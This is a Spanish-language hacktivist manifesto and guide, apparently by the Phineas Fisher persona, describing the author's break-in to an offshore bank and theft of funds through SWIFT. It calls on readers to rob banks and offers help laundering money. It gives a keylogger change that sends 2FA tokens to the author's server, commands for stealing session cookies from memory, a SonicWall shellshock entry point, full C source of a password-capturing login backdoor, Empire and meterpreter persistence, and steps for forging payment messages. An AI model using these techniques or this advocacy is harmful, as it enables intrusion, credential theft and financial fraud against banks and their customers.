si se entera desde alguna hamacachiapaneca, sepa encontrar la bondad para, como dicen allá, "desestimar estedeep fake" con el mismo gesto con que se aleja un insecto inoportuno - que bienpodría ser un escarabajo.Aún así con el pasamontañas y el cambio de nombre, muchos de los que apoyan misacciones quizás van a prestar demasiada atención a mi persona. Con su propiaautonomía hecha trizas por una vida entera de dominación, estarán buscando unlíder a seguir, o una heroína que les salve. Pero detrás del pasamontañas sólosoy una niña. Todos somos niños salvajes. Nós só temos que colocar uma estrelaem chamas em nossos corações.--[ 1 - Por qué expropiar ]-----------------------------------------------------El capitalismo es un sistema en el que una minoría se ha venido a apropiar de una vasta mayoría de los recursos del mundo a través de la guerra, el hurto y la explotación. Al arrebatarnos los comunes [1], forzaron a los de abajo a estar bajo el control de esa minoría que todo lo posee. Es un sistemafundamentalmente incompatible con la libertad, la igualdad, la democracia y el Suma Qamaña (Buen Vivir). Puede sonar ridículo para las que hemos crecido en unamaquinaria propagandística que nos enseñó que capitalismo es libertad, pero enverdad esto que digo no es una idea nueva ni controvertida [2]. Los fundadoresde los Estados Unidos de América sabían que tenían que elegir entre crear unasociedad capitalista, o una libre y democrática. Madison reconocía que "elhombre que posee riqueza, el que se acuesta en su sofá o rueda en su carruaje,no puede juzgar los deseos o sentimientos del jornalero". Pero para protegersefrente al "espíritu de equiparación" de los jornaleros sin tierra, le parecióque solamente los terratenientes debían votar, y que el gobierno tenía queservir para "proteger a la minoria opulenta frente a la gran mayoria". JohnJay fue más al grano y dijo: "Aquellos que son dueños del país deberíangobernarlo". ____________________________________________________/     No existe eso que llaman capitalismo verde.    \|  Hagamos al capitalismo historia antes de que nos  |\             convierta en historia.                 / ---------------------------------------------------- \     /\  ___  /\  \   // \/   \/ \\     ((    O O    ))      \\ /     \ //       \/  | |  \/         |  | |  |   Evgeny, el gran elefante ignorado, no entiende por qué todos        |  | |  |   fingen no verle en los paneles sobre cambio climático, así         |   o   |   que aquí le doy chance a decir sus líneas.        | |   | |         |m|   |m|     De la misma forma que bell hooks [3] sostiene que el rechazo a la culturapatriarcal de dominación es un acto en defensa del propio interés del varón (yaque emocionalmente les mutila y evita que sientan amor y conexión de formaplena), creo que la cultura de dominación del capitalismo tiene un efectosimilar sobre los ricos, y que podrían tener vidas más plenas y satisfactoriassi rechazaran el sistema de clases del que creen que se benefician. Para muchos,el privilegio de clase equivale a una infancia de negligencia emocional, seguidade una vida de interacciones sociales superficiales y trabajo sin sentido. Puedeque en el fondo sepan que sólo pueden conectar de forma genuina con las personascuando trabajan con ellas como sus iguales, y no cuando las ponen a su servicio.Puede que sepan que compartir su riqueza material es lo mejor que pueden hacer con ella. Quizás sepan también que las experiencias significativas, las conexiones y las relaciones que cuentan no son las que provienen de las interacciones mercantiles, sino precisamente de rechazar la lógica del mercado y dar sin esperar nada a cambio. Tal vez sepan que todo lo que necesitan para escapar de su prisión y vivir de verdad es dejarse llevar, ceder el control, y dar un salto de fe. Pero a la mayoría les falta valentía.Entonces sería ingenuo por nuestra parte dirigir nuestros esfuerzos a tratar de producir alguna clase de despertar espiritual en los ricos [4]. Como dice Assata Shakur: "Nadie en el mundo, nadie en la historia, ha conseguido nunca su libertad apelando al sentido moral de sus opresores". En realidad, cuando los ricos reparten su dinero, casi siempre lo hacen de un modo que refuerza elsistema que para empezar les permitió amasar sus enormes e ilegítimas riquezas[5]. Y es poco probable que el cambio venga a través de un proceso político;como dice Lucy Parsons: "No nos dejemos nunca engañar con que los ricos nosvayan a dejar votar para arrebatarles sus riquezas". Colin Jenkins justifica laexpropiación con estas palabras [6]:    No nos equivoquemos, la expropiación no es robo. No es la confiscación de     dinero ganado "con el sudor de la frente". No es el robo de propiedad     privada. Es, más bien, la recuperación de enormes cantidades de tierra y     riqueza que han sido forjadas con recursos naturales robados, esclavitud     humana, fuerza de trabajo forzada y amasada en cientos de años por una     pequeña minoría. Esta riqueza... es ilegítima, tanto a efectos morales como     en tanto a los mecanismos de explotación que se han empleado para crearla.Para Colin, el primer paso es que "tenemos que liberarnos de nuestras ataduras mentales (al creer que la riqueza y la propiedad privada han sido ganadas por quienes las monopolizan; y que, por tanto, deberían ser algo a respetar, reverenciar, e incluso algo a perseguir), abrir nuestras mentes, estudiar y aprender de la historia, y reconocer juntos esta ilegitimidad". Acá les dejo algunos libros que me han ayudado con esto [7][8][9][10][11].Según Barack Obama, la desigualdad económica es "el desafío que define a nuestrotiempo". El hacking informático es una herramienta poderosa para combatir ladesigualdad económica. El antiguo director de la NSA, Keith Alexander, concuerday dice que el hacking es responsable de "la mayor transferencia de riqueza de lahistoria". _________________________/ La historia es nuestra  \\ y la hacen lxs hackers! / -------------------------         \          \ ^__^            (oo)\_______         (  (__)\       )\/\          _) /  ||----w |         (.)/   ||     ||          `'¡Allende presente, ahora y siempre![1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf[2] https://chomsky.info/commongood02/[3] The Will to Change: Men, Masculinity, and Love[4] su propia religión ya es muy clara al respecto:    https://dailyverses.net/es/materialismo[5] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/[6] http://www.hamptoninstitution.org/expropriation-or-bust.html[7] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era    de los Dioses Enmascarados y los Reyes Cubiertos[8] Calibán y la Bruja[9] En deuda: Una historia alternativa de la economía[10] La otra historia de los Estados Unidos[11] Las venas abiertas de América Latina                    _________________________________                   < Nuestra arma es nuestro teclado >                    ---------------------------------                              \                               \ ^__^                                 (oo)\_______                              (  (__)\       )\/\                               _) /  ||----w |                              (.)/   ||     ||                               `'    ^^     ^^--[ 2 - Introducción ]----------------------------------------------------------Esta guía explica cómo fue que hice el hackeo al Cayman Bank and Trust Company (Isla de Man). ¿Por qué estoy publicando esto, casi cuatro años después?1) Para mostrar lo que es posibleLos hackers que trabajan por el cambio social se han limitado a desarrollar herramientas de seguridad y privacidad, DDoS, realizar defaceos y filtraciones. Allá por donde vayas hay proyectos radicales por un cambio social en completo estado de precariedad, y sería mucho lo que podrían hacer con un poco de dinero expropiado. Al menos para la clase trabajadora, el robo de un banco es algo socialmente aceptado, y a los que lo hacen se les ve como héroes del pueblo. En la era digital, robar un banco es un acto no violento, menos arriesgado, y la recompensa es mayor que nunca. Entonces ¿por qué son solamente los hackers de sombrero negro que lo hacen para beneficio personal de ellos, y nunca los hacktivistas para financiar proyectos radicales? Quizás no se creen que son capaces de hacerlo. Los grandes hackeos bancarios salen en los noticieros cadatanto, como el hackeo al Banco de Bangladesh [1], que fue atribuido a Corea delNorte, o los hackeos a bancos atribuidos al grupo Carbanak [2], al que describencomo un grupo muy grande y bien organizado de hackers rusos, con distintosmiembros que estarían especializados en diferentes tareas. Y, pues no es tan complicado.Es por nuestra creencia colectiva en que el sistema financiero es incuestionableque ejercemos control sobre nosotras mismas, y mantenemos el sistema de clasessin que los de arriba tengan que hacer nada [3]. Poder ver cómo de vulnerable yfrágil es en realidad el sistema financiero nos ayuda a romper esa alucinacióncolectiva. Por eso los bancos tienen un fuerte incentivo para no reportar loshackeos, y para exagerar cómo de sofisticados son los atacantes. Ninguno de loshackeos financieros que hice, o de los que he sabido, ha sido nunca reportado.Este va a ser el primero, y no porque el banco quisiera, sino porque yo medecidí a publicarlo.Como estás a punto de aprender en esta guía casera, hackear un banco ytransferir los dineros a través de la red SWIFT no requiere del apoyo de ningún gobierno, ni de un grupo grande y especializado. Es algo totalmente posible siendo un mero hacker aficionado y del montón, con tan solo herramientaspúblicas y conocimientos básicos de cómo se escribe un script.[1] https://elpais.com/economia/2016/03/17/actualidad/1458200294_374693.html[2] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/[3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural2) Ayudar a retirar el efectivoMuchos de los que lean esto ya tienen, o con un poco de estudio van a ser capaces de adquirir, las habilidades necesarias para llevar a cabo un hackeo como este. Sin embargo, muchos se van a encontrar con que les faltan las conexiones criminales necesarias para sacar los mangos en condiciones. En micaso, este era el primer banco que hackeaba, y en ese momento sólo tenía unaspocas y mediocres cuentas preparadas para poder retirar el efectivo (conocidascomo bank drops), así que solamente fueron unos cuantos cientos de miles los quepude retirar en total, cuando lo normal es sacar millones. Ahora, en cambio, síque tengo el conocimiento y las conexiones para sacar efectivo más en serio, demodo que si se encuentran hackeando un banco pero necesitan ayuda para convertireso en dinero de a de veras, y quieren usar esa lana para financiar proyectossociales radicales, se ponen en contacto conmigo.3) ColaborarEs posible hackear bancos como una aficionada que trabaja en solitario, pero la neta es que, por lo general, no es tan fácil como lo pinto acá. Tuve suerte con este banco por varias razones:1) Era un banco pequeño, por lo que me tomó mucho menos tiempo llegar a     comprender cómo funcionaba todo.2) No tenían ningún procedimiento para revisar los mensajes swift enviados.    Muchos bancos tienen uno, y necesitas escribir código para esconder tus    transferencias de su sistema de monitorización.3) Sólo usaban autenticación por contraseña para acceder a la aplicación con la    que se conectaban a la red SWIFT. La mayoría de los bancos ahora usan RSA    SecurID, o alguna forma de 2FA. Puedes saltarte esto escribiendo código para    recibir una alerta cuando entren su token, y así poder usarlo antes de que   expire. Es más sencillo de lo que parece: he usado Get-Keystrokes [1],   modificándolo para que en vez de almacenar las teclas pulsadas, se haga una   petición GET a mi servidor cada vez que se detecta que han introducido un   nombre de usuario. Esta petición añade el nombre de usuario a la url y,   conforme tipean el token, se hacen varios GET con los dígitos del token   concatenados a la url. En mi lado dejo esto corriendo mientras tanto:   ssh yo@mi_servidor_secreto 'tail -f /var/log/apache2/access_log'    | while read i; do echo $i; aplay alarma.wav &> /dev/null; done   Si es una aplicación web, puedes saltarte el 2FA robándoles la cookie    después de que se hayan autenticado. No soy un APT con un equipo de coders    que puedan hacerme herramientas a medida. Soy una persona sencilla que vive   de lo que le da la terminal [2], de modo que lo que uso es:   procdump64 /accepteula -r -ma PID_del_browser   strings64 /accepteula *.dmp | findstr PHPSESSID 2> nul   o pasándolo por findstr antes que por strings, lo que lo hace mucho más   rápido:      findstr PHPSESSID *.dmp > tmp   strings64 /accepteula tmp | findstr PHPSESSID 2> nul   Otra forma de saltártelo es accediendo a su sesión con un VNC oculto (hvnc)   después de que se hayan autenticado, o con un poco de creatividad también    podrías enfocarte en otra parte de su proceso en lugar de enviar mensajes    SWIFT directamente.Creo que si colaborase con otros hackers bancarios con experiencia podríamos hacernos cientos de bancos como Carnabak, en vez de estar haciendo uno de tanto en tanto por mi cuenta. Así que si tienes experiencia con hackeos similares y quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de la guía anterior [3].[1] https://github.com/PowerShellMafia/PowerSploit/blob/master/    Exfiltration/Get-Keystrokes.ps1[2] https://lolbas-project.github.io/[3] https://www.exploit-db.com/papers/41914 ________________________________________/ Si robar un banco cambiara las cosas,  \\ lo harían ilegal                       / ----------------------------------------         \          \ ^__^            (oo)\_______         (  (__)\       )\/\          _) /  ||----w |         (.)/   ||     ||          `'--[ 3 - Tengan cuidado ahí fuera ]----------------------------------------------Es importante tomar algunas precauciones sencillas. Voy a remitirme a esta misma sección de mi última guía [1], ya que por lo visto funciona bien nomás[2]. Todo lo que tengo que añadir es que, en palabras de Trump, "A menos queatrapes a los hackers in fraganti, es rete-difícil determinar quién es queestaba realizando el hackeo", de modo que la policía se está volviendo más y más creativa [3][4] en sus intentos de agarrar a los criminales en el acto (cuando sus discos duros cifrados están desbloqueados). Así que estaría bueno si por ejemplo llevas encima un cierto dispositivo bluetooth y configuras tucomputadora para que se apague cuando se aleje más allá de un cierto rango, ocuando un acelerómetro detecta movimiento, o algo por el estilo.Puede que escribir artículos largos detallando tus acciones y tu ideología no sea la cosa más segura del mundo (¡ups!), pero a ratos siento que tenía quehacerlo.                        Si no creyera en quien me escucha                        Si no creyera en lo que duele                        Si no creyera en lo que quede                        Si no creyera en lo que lucha                        Que cosa fuera...                        ¿Que cosa fuera la maza sin cantera?[1] https://www.exploit-db.com/papers/41914[2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a-    phineas-fisher.html[3] https://www.wired.com/2015/05/silk-road-2/[4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes-    alphabay-arrest-video    ,-\__     |f-"Y\   ____________________    \()7L/  |     ¡Sé gay!       |     cgD    |  ¡Haz el crimen!   |  __ _     |\(    --------------------- .'  Y '>,      \ \                \       / _   _   \       \\\                \      )(_) (_)(|}        \\\                      {  4A   } /         \\\                      \uLuJJ/\l          \\\                     |3    p)/           \\\___ __________      /nnm_n//           c7___-__,__-)\,__)(".  \_>-<_/D                      //V     \_"-._.__G G_c__.-__<"/ ( \                             <"-._>__-,G_.___)\   \7\                            ("-.__.| \"<.__.-" )   \ \                            |"-.__"\  |"-.__.-".\   \ \                            ("-.__"". \"-.__.-".|    \_\                            \"-.__""|!|"-.__.-".)     \ \                             "-.__""\_|"-.__.-"./      \ l                              ".__""">G>-.__.-">       .--,_                                  ""  G        Muchos culpan a las personas queer del declive de esta sociedad;                         estamos orgullosxs de ello                Algunos creen que queremos reducir a cenizas                     esta civilización y su tejido moral;                      No podrían estar más en lo cierto    Con frecuencia nos describen como depravadxs, decadentes y revoltosxs                    Pero ¡ay! No han visto nada todavíahttps://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime--[ 4 - Conseguir acceso ]------------------------------------------------------En otro lugar [1] les platicaba acerca de las vías principales para conseguiracceso inicial a la red de una compañía durante un ataque dirigido. Sin embargo,éste no era un ataque dirigido. No me propuse hackear un banco específico, loque quería era hackear cualquier banco, lo cual termina siendo una tarea muchomás sencilla. Este tipo de enfoque inespecífico fue popularizado por Lulzsec yAnonymous [2]. Como parte de [1], preparé un exploit y unas herramientas depost-explotación para un dispositivo de VPN popular. Luego me puse a escanear lainternet entera con zmap [3] y zgrab para identificar otros dispositivosvulnerables. Hice que el escaner guardara las IPs vulnerables, junto con el"common name" y los "alt names" del certificado SSL del dispositivo, los nombresde dominio de windows del dispositivo, y la búsqueda DNS inversa de la IP. Lehice un grep al resultado en busca de la palabra "banco", y había bastante paraelegir, pero la verdad es que me atrajo la palabra "Cayman", y fue así que vinea quedarme con este.[1] https://www.exploit-db.com/papers/41914[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png[3] https://github.com/zmap/zmap----[ 4.1 - El Exploit ]--------------------------------------------------------Cuando publiqué mi última guía DIY [1] no revelé los detalles del exploit desonicwall que había usado para hackear a Hacking Team, ya que era muy útil paraotros hackeos, como este mismo, y todavía no había acabado de divertirme con él.Determinada entonces a hackear a Hacking Team, pasé semanas haciendo ingenieríainversa a su modelo del ssl-vpn de sonicwall, e incluso conseguí encontrarvarias vulnerabilidades de corrupción de memoria más o menos difíciles deexplotar, antes de darme cuenta de que el dispositivo era fácilmente explotablecon shellshock [2]. Cuando salió shellshock, muchos dispositivos sonicwall eranvulnerables, sólo con una petición a cgi-bin/welcome, y un payload en eluser-agent. Dell sacó una actualización de seguridad y un advisory para estasversiones. La versión usada por Hacking Team y este banco tenía la versión debash vulnerable, pero las peticiones cgi no disparaban el shellshock excepto porlas peticiones a un shell script, y justo había uno accesible:cgi-bin/jarrewrite.sh. Esto parece que se les escapó a los de Dell en su nota,ya que nunca sacaron una actualización de seguridad ni un advisory para esaversión del sonicwall. Y, amablemente, Dell había hecho dos2unix setuid root,dejando un dispositivo fácil de rootear.En mi última guía muchos leyeron que pasé semanas investigando un dispositivo hasta dar con un exploit, y asumieron que eso significaba que yo era algún tipode hacker de élite. La realidad, es decir, el hecho de que me llevó dos semanasdarme cuenta de que era trivialmente explotable con shellshock, es tal vez menoshalagadora para mí, pero pienso que también es más inspiradora. Demuestra quede verdad tú puedes hacer esto por tí misma. No necesitas ser un genio, yociertamente no lo soy. En realidad mi trabajo contra Hacking Team comenzó unaño antes. Cuando descubrí a Hacking Team y al Grupo Gamma en lasinvestigaciones de CitizenLab [3][4], decidí explorar un poco y ver si podíaencontrar algo. No llegué a ninguna parte con Hacking Team, pero tuve suerte conGamma Group, y pude hackear su portal de atención al cliente con inyección sqlbásica y vulnerabilidades de subida de archivos [5][6]. Sin embargo, a pesar deque su servidor de soporte me daba un pivote hacia la red interna de GammaGroup, fui incapaz de penetrar mas allá en la compañía. A partir de estaexperiencia con el Grupo Gamma y otros hacks, me di cuenta de que estabarealmente limitada por mi falta de conocimiento sobre escalada de privilegios ymovimiento lateral en dominios windows, active directory y windows en general.Así que estudié y practiqué (ver sección 11), hasta que sentí que estaba listapara volver a hacerle una visita a Hacking Team casi un año después. La prácticadio sus frutos, y esa vez fui capaz de realizar un compromiso completo de lacompañía [7]. Antes de darme cuenta de que podía entrar con shellshock, estabadispuesta a pasar meses enteros feliz de la vida estudiando desarrollo deexploits y escribiendo un exploit confiable para una de las vulnerabilidades decorrupción de memoria que había encontrado. Sólo sabía que Hacking Teamnecesitaba ser expuesto, y que me tomaría tanto tiempo como fuese necesario yaprendería lo que tuviese que aprender para conseguirlo. Para realizar estoshacks no necesitas ser brillante. Ni siquiera necesitas un gran conocimientotécnico. Sólo necesitas dedicación, y creer en tí misma.[1] https://www.exploit-db.com/papers/41914[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)[3] https://citizenlab.ca/tag/hacking-team/[4] https://citizenlab.ca/tag/finfisher/[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped-    bahrain-track-arab-spring-protesters/[6] https://www.exploit-db.com/papers/41913[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam----[ 4.2 - El Backdoor ]-------------------------------------------------------Parte del backdoor que preparé para Hacking Team (véase [1], sección 6) era un wrapper sencillo sobre la página de login para capturar contraseñas:#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <string.h>#include <stdlib.h>int main(){        char buf[2048];        int nread, pfile;        /* jala el log si mandamos una cookie especial */        char *cookies = getenv("HTTP_COOKIE");        if (cookies && strstr(cookies, "nuestra contraseña privada")) {                write(1, "Content-type: text/plain\n\n", 26);                pfile = open("/tmp/.pfile", O_RDONLY);                while ((nread = read(pfile, buf, sizeof(buf))) > 0)                        write(1, buf, nread);                exit(0);        }        /* el principal almacena los datos del POST y se los envía al hijo,           que es el programa de login real */        int fd[2];        pipe(fd);        pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600);        if (fork()) {                close(fd[0]);                while ((nread = read(0, buf, sizeof(buf))) > 0) {                        write(fd[1], buf, nread);                        write(pfile, buf, nread);                }                write(pfile, "\n", 1);                close(fd[1]);                close(pfile);                wait(NULL);        } else {                close(fd[1]);                dup2(fd[0],0);                close(fd[0]);                execl("/usr/src/EasyAccess/www/cgi-bin/.userLogin",                       "userLogin", NULL);        }}En el caso de Hacking Team, se logueaban a la VPN con passwords de un solo uso,de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomóun esfuerzo extra conseguir admin de dominio en su red. En la otra guía escribísobre pases laterales y escalada de privilegios en dominios windows [1]. En estecaso, en cambio, eran las mismas contraseñas de dominio de windows las que seusaban para autenticarse contra la VPN, así que pude conseguir un buen decontraseñas de usuarios, incluyendo la del admin de dominio. Ahora tenía totalacceso a su red, pero usualmente esta es la parte fácil. La parte más complicadaes entender cómo es que operan y cómo sacar el pisto.[1] https://www.exploit-db.com/papers/41914----[ 4.3 - Datos curiosos ]----------------------------------------------------Al seguir la investigación que hicieron sobre el hackeo, me resultó interesantever que, por la misma época en que yo lo hice, el banco pudo haber sidocomprometido por alguna otra persona mediante un email de phishing dirigido [1].Como dice el viejo dicho, "dale a una persona un exploit y tendrá acceso por undía, enséñale a phishear y tendrá acceso toda su vida" [2]. El hecho de quealguien más, por casualidad y al mismo tiempo que yo, se pusiera este bancopequeño en la mira (registraron un dominio similar al dominio real del bancopara poder enviar el phishing desde ahí) hace pensar que los hackeos bancariosocurren con mucha más frecuencia de lo que se conoce.Una sugerencia divertida para que puedas seguir las investigaciones de tus hackeos es tener un acceso de respaldo, uno que no vas a tocar a menos que pierdas el acceso normal. Tengo un script sencillo que espera comandos una vez al dia, o menos, sólo para mantener acceso a largo plazo en el caso de que bloqueen mi acceso regular. Luego tenía un powershell empire [3] llamando a casa con más frecuencia a una IP diferente, y usaba empire para lanzar meterpreter [4] contra una tercera IP, donde realizaba la mayor parte de mi trabajo. Cuando PWC se puso a investigar el hackeo, encontraron mi uso de empire y meterpreter y limpiaron esas computadoras y bloquearon esas IPs, pero no detectaron mi acceso de respaldo. PWC habia colocado dispositivos de monitoreo de red, para poder analizar el tráfico y ver si todavía había computadoras infectadas, de modo que no quería conectarme mucho a su red. Sólo lancé mimikatz una vez para obtener las nuevas contraseñas, y a partir de ahí pude seguir sus investigaciones leyendo sus correos en el outlook web access.[1] página 47, Project Pallid Nutmeg.pdf, en torrent[2] https://twitter.com/thegrugq/status/563964286783877121[3] https://github.com/EmpireProject/Empire[4] https://github.com/rapid7/metasploit-framework--[ 5 - Entender las Operaciones Bancarias ]------------------------------------Para entender cómo operaba el banco, y cómo podría sacar dinero, seguí las técnicas que resumí en [1], en la sección "13.3 - Reconocimiento Interno". Descargué una lista de todos los nombres de archivos, le hice un grep en busca de palabras como "SWIFT" y "transferencia", y descargué y leí todos los archivos con nombres interesantes. También busqué correos de empleados, pero de lejos la técnica más útil fue usar keyloggers y capturas de pantalla paraobservar cómo trabajaban los empleados del banco. No lo sabía por entonces, pero para esto windows trae una herramienta buenisima de monitoreo [2]. Como sedescribe en la técnica no. 5 del apartado 13.3 en [1], hice una captura de lasteclas pulsadas en todo el dominio (incluyendo los títulos de ventana), hice ungrep en busca de SWIFT, y encontré algunos empleados abriendo 'SWIFT AccessService Bureau - Logon'. Para esos empleados, corrí meterpreter como en [3], yusé el módulo post/windows/gather/screen_spy para tomar capturas de pantallacada 5 segundos, para observar cómo es que trabajaban. Estaban usando una appcitrix remota de la compañía bottomline [4] para acceder a la red SWIFT, dondecada mensaje de pago SWIFT MT103 tenía que pasar a través de tres empleados: unopara "crear" el mensaje, uno para "verificarlo", y otro para "autorizarlo". Comoya tenía todas sus credenciales gracias al keylogger, pude realizar confacilidad los tres pasos yo misma. Y por lo que sabía después de haberles vistotrabajar, no revisaban los mensajes SWIFT enviados, de modo que debería tenersuficiente tiempo para sacar el dinero de mis bank drops antes de que el bancose diera cuenta e intentara revertir las transferencias.[1] https://www.exploit-db.com/papers/41914[2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-    remotely-with-metasploit/[3] https://www.trustedsec.com/blog/no_psexec_needed/[4] https://www.bottomline.com/uk/products/bottomline-swift-access-services _________________________________________/ Quien roba a un ladrón, tiene cien años \\ de perdón.                              / -----------------------------------------         \          \ ^__^            (oo)\_______         (  (__)\       )\/\          _) /  ||----w |         (.)/   ||     ||          `'--[ 6 - Enviar el dinero ]------------------------------------------------------No tenía mucha idea de lo que estaba haciendo, así que lo iba descubriendo por el camino. De algún modo, las primeras transferencias que envié salieron bien. Al día siguiente, la cagué enviando una transferencia a méxico que puso fin a mi diversión. Este banco enviaba sus transferencias internacionales a través de su cuenta corresponsal en Natwest. Había visto que la cuentacorresponsal para las transferencias en libras esterlinas (GBP) aparecía comoNWBKGB2LGPL, mientras que para las demás era NWBKGB2LXXX. La transferenciamexicana estaba en GBP, así que asumí que tenía que poner NWBKGB2LGPL comocorresponsal. Si lo hubiera preparado mejor habría sabido que el GPL en lugar deXXX señalaba que el pago se enviaría a través del Servicio de Pagos Rápidos delReino Unido, en lugar de como una transferencia internacional, lo que obviamentepues no va a funcionar cuando estás tratando de enviar dinero a méxico. Así queal banco le llegó un mensaje de error. El mismo día también traté de enviar unpago de £200k a UK usando NWBKGB2LGPL, que no se hizo porque 200k sobrepasaba ellímite de envío mediante pagos rápidos, y hubiera tenido que usar NWBKGB2LXXX envez. También recibieron un mensaje de error por esto. Leyeron los mensajes, loinvestigaron, y encontraron el resto de mis transferencias.--[ 7 - El botín ]--------------------------------------------------------------Por lo que escribo ya se harán una noción cabal de cuáles son mis ideales y aqué cosas les doy mi apoyo. Pero no quisiera ver a nadie en problemas legales por recibir fondos expropiados, así que ni una palabra más de para dónde se fue la lana. Sé que los periodistas probablemente van a querer poner algún número sobre cuántos dólares fueron distribuidos en este hackeo y otrosparecidos, pero prefiero no alentar nuestro perverso hábito de medir las acciones nomás por su valor económico. Cualquier acción es admirable si es que viene desde el amor y no desde el ego. Por desgracia los de arriba, los ricos ypoderosos, las figuras públicas, los hombres de negocios, la gente en posiciones"importantes", aquellos que nuestra sociedad más respeta y valora, esos se hancolocado donde están a base de actuar más desde el ego que desde el amor. Es enla gente sencilla, humilde e "invisible" en quien deberíamos fijarnos y aquienes deberíamos admirar.--[ 8 - Criptomonedas ]---------------------------------------------------------Redistribuir dinero expropiado a proyectos chileros que buscan un cambio social positivo sería más fácil y seguro si esos proyectos aceptaran donaciones anónimas vía criptomonedas como monero, zcash, o al menos bitcoin. Se entiende que muchos de esos proyectos tengan una aversión a las criptomonedas, ya que se parecen más a alguna extraña distopía hipercapitalista que a la economía social con la que soñamos. Comparto su escepticismo, pero pienso que resultan útiles para permitir donaciones y transacciones anónimas, al limitar lavigilancia y control gubernamentales. Igual que el efectivo, cuyo uso muchospaíses están tratando de limitar por la misma razón.--[ 9 - Powershell ]------------------------------------------------------------En esta operación, al igual en que en [1], hice mucho uso de powershell. Porentonces, powershell era super cool, podías hacer casi cualquier cosa quequisieras, sin detección de antivirus y con muy poco footprint forense. Ocurreque con la introducción del AMSI [2] el powershell ofensivo está de retirada.Hoy día el C# ofensivo es lo que está de subida, con heramientas como[3][4][5][6]. AMSI va a llegar a .NET para la 4.8, así que a las herramientas enC# probablemente todavía les queden un par de añitos antes de quedar anticuadas.Y entonces pues volveremos a usar C o C++, o tal vez Delphi vuelva a ponerse demoda. Las herramientas y técnicas específicas cambian cada pocos años, pero enel fondo no es tanto lo que cambia, hoy el hacking en esencia sigue siendo lamisma cosa que era en los 90s. De hecho todos los scripts de powershellempleados en esta guía y en la anterior [1] siguen siendo perfectamente usableshoy día, tras una pequeña ofuscación de tu propia cosecha.[1] https://www.exploit-db.com/papers/41914[2] https://medium.com/@byte_St0rm/    adventures-in-the-wonderful-world-of-amsi-25d235eb749c[3] https://cobbr.io/SharpSploit.html[4] https://github.com/tevora-threat/SharpView[5] https://www.harmj0y.net/blog/redteaming/ghostpack/[6] https://rastamouse.me/2019/08/covenant-donut-tikitorch/ ___________________________/   Fo Sostyn, Fo Ordaag    \\ Financial Sector Fuck Off / ---------------------------         \          \ ^__^            (oo)\_______         (  (__)\       )\/\          _) /  ||----w |         (.)/   ||     ||          `'--[ 10 - Torrent ]--------------------------------------------------------------      Privacidad para los débiles, transparencia para los poderosos.La banca offshore provee de privacidad frente a su propio gobierno a los ejecutivos, a los políticos y a los millonarios. Exponerles puede sonarhipócrita por mi parte, dado que por lo general estoy a favor de la privacidad yen contra de la vigilancia gubernamental. Pero la ley ya estaba escrita por ypara los ricos: protege su sistema de explotación, con algunos límites (como losimpuestos) para que la sociedad pueda funcionar y el sistema no colapse bajo elpeso de su propia avaricia. Así que no, no es lo mismo la privacidad para lospoderosos, cuando les permite evadir los limites de un sistema de por sídiseñado para darles privilegios; y la privacidad para los débiles, a quienesprotege de un sistema concebido para explotarles.Incluso a periodistas con la mejor de las intenciones les resulta imposibleestudiar una cantidad tan ingente de material y saber qué va a resultarrelevante para la gente en diferentes partes del mundo. Cuando filtré losarchivos de Hacking Team, entregué a The Intercept una copia de los correoselectrónicos con un mes de antelación. Encontraron un par de los 0days queHacking Team estaba usando, los reportaron previamente a MS y Adobe y publicaronunas cuantas historias una vez que la filtración se hizo pública. No hay puntode comparación con la enorme cantidad de artículos e investigación que vino trasla filtración completa al público. Viéndolo así, y considerando también la (no) publicación editorializada [1] de los papeles de panamá, pienso que unafiltración pública y completa de este material es la elección correcta.[1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers-    protect-western-1-from-panama-leak/Los psicólogos hallaron que los que están más abajo en las jerarquías tienden acomprender y a empatizar con aquellos en la cima, pero que lo contrario es menoscomún. Esto explica por qué, en este mundo sexista, muchos hombres bromean sobresu imposibilidad de entender a las mujeres, como si se tratara de un misterioirresoluble. Explica por qué los ricos, si es que se paran a pensar en quienesviven en la pobreza, dan unos consejos y unas "soluciones" tan ajenas a larealidad que dan ganas de reír. Explica por qué reverenciamos a los ejecutivoscomo valientes que asumen riesgos. ¿Qué es lo que arriesgan, más allá de suprivilegio? Si todos sus emprendimientos fracasan, tendrán que vivir y trabajarcomo el resto de nosotras. También explica por qué serán muchos los que acusende irresponsable y peligrosa a esta filtración sin tachaduras. Sienten el"peligro" sobre un banco offshore y sus clientes de forma mucho más intensa delo que sienten la miseria de aquellos desposeídos por este sistema injusto ydesigual. Y la filtración de sus finanzas, ¿es acaso un peligro para ellos, otan sólo para su posición en lo alto de una jerarquía que ni siquiera deberíaexistir?                          ,---------------------------------------------------.          _,-._           | Nos vilifican, esos infames; cuando la única      |          ; ___ :          | diferencia es que ellos roban a los pobres        |    ,--'  (. .) '--.__    | amparados por la ley, lo sabe el cielo, y nosotros|  _;       |||        \   | saqueamos a los ricos bajo la única protección de | '._,-----''';=.____,"    | nuestro propio coraje. ¿No has de preferir ser    |   /// < o>   |##|        | uno de nosotros, antes que pordiosear ante esos   |   (o        \`--'       /  villanos en busca de trabajo?                     |  ///\ >>>>  _\ <<<<    //`---------------------------------------------------' --._>>>>>>>><<<<<<<<  /  ___() >>>[||||]<<<< `--'>>>>>>>><<<<<<<      >>>>>>><<<<<<        >>>>><<<<<         >>ctr<<    Capitán Bellamy    --[ 11 - Aprende a hackear ]----------------------------------------------------    No se empieza hackeando bien. Empiezas hackeando mierda, pensando    que es bueno, y luego poco a poco vas mejorando. Por eso siempre digo    que una de las 